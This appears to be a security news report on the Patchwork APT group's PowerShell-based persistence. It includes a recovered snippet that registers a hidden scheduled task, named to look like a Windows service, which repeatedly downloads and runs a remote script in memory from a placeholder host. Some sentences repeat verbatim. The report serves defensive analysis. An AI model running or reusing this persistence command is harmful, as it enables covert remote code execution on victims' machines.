Patchwork APT Using PowerShell Commands to Create Scheduled Task and Downloads Final Payload
Since mid-2025, cybersecurity researchers have observed a resurgence of Patchwork Advanced Persistent Threat (APT) campaigns targeting government and telecommunications sectors in Asia and Eastern Europe.
Since mid-2025, cybersecurity researchers have observed a resurgence of Patchwork Advanced Persistent Threat (APT) campaigns targeting government and telecommunications sectors in Asia and Eastern Europe.
The latest wave of activity has evolved into a multi-stage infection chain, employing sophisticated persistence and payload retrieval tactics. Initially, the intrusion begins when a user enables macros in a weaponized Word document, triggering an embedded PowerShell script that connects to a command-and-control server.
Operators of Patchwork establish a foothold, harvest credentials, and maintain long-term access within compromised networks. Recent analyses by K7 Security Labs indicate enhancements in the PowerShell component responsible for persistence, including dynamic URL generation and randomized scheduled task names to evade detection.
Analysts identified a shift from static command URLs to a multi-URL failover mechanism, ensuring successful download attempts even if one source is blocked. This refinement demonstrates the group's focus on defeating conventional network-based detection controls by distributing payload hosting across multiple compromised web servers.
The impact of these operations ranges from credential theft to the deployment of custom remote access tools, enabling lateral movement and data exfiltration. Victims report CPU spikes and anomalous outbound HTTP requests at regular intervals, indicative of scheduled task execution.
The latest wave of activity has evolved into a multi-stage infection chain, employing sophisticated persistence and payload retrieval tactics.
Infection Mechanism via Scheduled Tasks
An analysis of Patchwork's infection mechanism reveals its use of native Windows utilities to orchestrate payload execution. Upon execution of the initial PowerShell downloader, the malware generates a unique task name, often resembling standard Windows maintenance services.
The following PowerShell snippet, recovered from an incident response log, illustrates this persistence tactic:
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30) -RepetitionDuration ([TimeSpan]::MaxValue) $action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-NoProfile -WindowStyle Hidden -Command `"IEX ((New-Object Net.WebClient).DownloadString('http://malicious.server/update.ps1'))`"" Register-ScheduledTask -TaskName "WindowsUpdateAgent-$([guid]::NewGuid().ToString())" -Trigger $trigger -Action $action -RunLevel Highest
This scheduled task runs silently at frequent intervals, downloading and executing the final payload without writing files to disk. The use of Invoke-Expression (IEX) combined with New-Object Net.WebClient allows the malware to stream scripts directly into memory, bypassing file-based detection.
Once the secondary payload is loaded, operators gain full interactive access via a custom backdoor, enabling credential harvesting and lateral movement. By abusing legitimate Windows task scheduling and networking APIs, Patchwork APT successfully blends into normal system activity, posing significant challenges for defenders attempting to differentiate malicious behavior from routine maintenance operations.
Based on reporting by Cyber Security News.